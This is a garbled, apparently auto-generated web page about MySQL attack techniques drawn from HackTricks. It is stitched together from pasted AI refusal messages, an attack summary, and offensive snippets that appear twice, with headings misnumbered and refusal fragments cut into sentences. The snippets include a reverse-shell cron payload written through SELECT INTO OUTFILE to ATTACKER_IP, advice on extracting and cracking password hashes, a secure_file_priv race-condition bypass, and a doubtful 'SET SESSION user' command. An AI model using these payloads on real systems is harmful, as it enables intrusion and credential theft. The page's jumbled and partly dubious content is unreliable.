Mysql Hacktricks Verified May 2026

I can’t help create or promote hacking, exploiting, or bypassing security for MySQL or any other system.

If you want a legitimate, complete essay, I can write one on safe, legal topics such as:

MySQL security best practices (hardening, access control, encryption, auditing)
Common MySQL vulnerabilities and how to remediate them
Ethical penetration testing methodology for databases
Secure database configuration checklist for administrators

Which of those (or another lawful topic) would you like? If you choose one, I’ll produce a full essay.

The phrase "MySQL HackTricks verified" typically refers to the use of verified techniques and payloads for MySQL penetration testing as documented by HackTricks, a popular offensive security knowledge base.

There is no "verified" status for MySQL itself from HackTricks; rather, "verified" describes the reliability of the attack vectors, privilege escalation methods, and enumeration commands listed in their guide. Key Verified MySQL Features & Attacks (per HackTricks)

HackTricks outlines several features often tested during a "verified" MySQL pentest: mysql hacktricks verified

Privilege Escalation via Libraries: Using user-defined functions (UDF) to run commands with the privileges of the MySQL user.

Credential Extraction: Verified methods for pulling password hashes from the mysql.user table or finding cleartext credentials in configuration files like my.cnf.

Arbitrary File Read/Write: Exploiting LOAD DATA INFILE or SELECT ... INTO OUTFILE to interact with the underlying host filesystem.

Information Schema Enumeration: Standard queries to map the database structure, including tables, columns, and user privileges.

MySQL Protocol Exploitation: Attacking the service via port 3306, including brute-forcing and exploiting misconfigurations in cleartext authentication plugins. Contextual Meanings I can’t help create or promote hacking, exploiting,

Depending on the context, "MySQL HackTricks verified" might also relate to:

Certification: HackTricks offers specific certifications like the Azure Red Team Expert (AzRTE), which validates a professional's expertise in specialized offensive security fields.

Tool Verification: Security tools like SQLMap are often used to automate the "verified" SQL injection techniques described in the HackTricks manual. HackTricks

3.2 Abusing `secure_file_priv`

Modern MySQL restricts file operations via secure_file_priv. To check:

SHOW VARIABLES LIKE "secure_file_priv";

If /var/lib/mysql-files/ → Only that directory (useless for webshell).
If NULL → File operations disabled.
If empty ("") → Vulnerable! You can write anywhere.

5. Extract MySQL Credentials from Files

5.1 Bypassing `secure_file_priv` via Race Conditions (Linux)

In some older MySQL/MariaDB versions, a race condition exists between checking secure_file_priv and opening the file. Not reliable on patched systems, but for CTFs, try: Which of those (or another lawful topic) would you like

Create a symlink from a permitted directory to a web root.
Use SELECT ... INTO DUMPFILE and quickly replace the target file during the 1ms window.

Write Linux Cron / SSH Key

SELECT "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" INTO OUTFILE '/etc/cron.d/reverse';

Needs: Write access to /etc/cron.d/ (rare).

3. Lateral Movement and Data Exfiltration

HackTricks provides verified commands for moving from a compromised MySQL instance to other hosts:

Reading MySQL’s user table to retrieve hashed passwords (authentication_string). Cracking these hashes (caching_sha2_password or mysql_native_password) gives access to other applications reusing credentials.
Enumerating databases, tables, and sensitive columns via information_schema – a stealthy, verified method for data mapping without triggering many IDS signatures.
Using MySQL as a pivot – the SELECT ... INTO OUTFILE combined with SMB shares or FTP uploads has been verified as a data staging method.

If you have `SUPER` privilege:

-- View all connections
SHOW PROCESSLIST;
-- Kill connection
KILL CONNECTION 123;
-- Change current user context (MySQL 8.0+)
SET SESSION user = 'root@localhost';

5. Extract MySQL Credentials from Files

5.1 Bypassing secure_file_priv via Race Conditions (Linux)

In some older MySQL/MariaDB versions, a race condition exists between checking secure_file_priv and opening the file. Not reliable on patched systems, but for CTFs, try:

Create a symlink from a permitted directory to a web root.

Use SELECT ... INTO DUMPFILE and quickly replace the target file during the 1ms window.

Write Linux Cron / SSH Key

SELECT "* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" INTO OUTFILE '/etc/cron.d/reverse';

Needs: Write access to /etc/cron.d/ (rare).

3. Lateral Movement and Data Exfiltration

HackTricks provides verified commands for moving from a compromised MySQL instance to other hosts:

Reading MySQL’s user table to retrieve hashed passwords (authentication_string). Cracking these hashes (caching_sha2_password or mysql_native_password) gives access to other applications reusing credentials.

Enumerating databases, tables, and sensitive columns via information_schema – a stealthy, verified method for data mapping without triggering many IDS signatures.

Using MySQL as a pivot – the SELECT ... INTO OUTFILE combined with SMB shares or FTP uploads has been verified as a data staging method.

If you have SUPER privilege:

-- View all connections SHOW PROCESSLIST; -- Kill connection KILL CONNECTION 123;

-- Change current user context (MySQL 8.0+) SET SESSION user = 'root@localhost';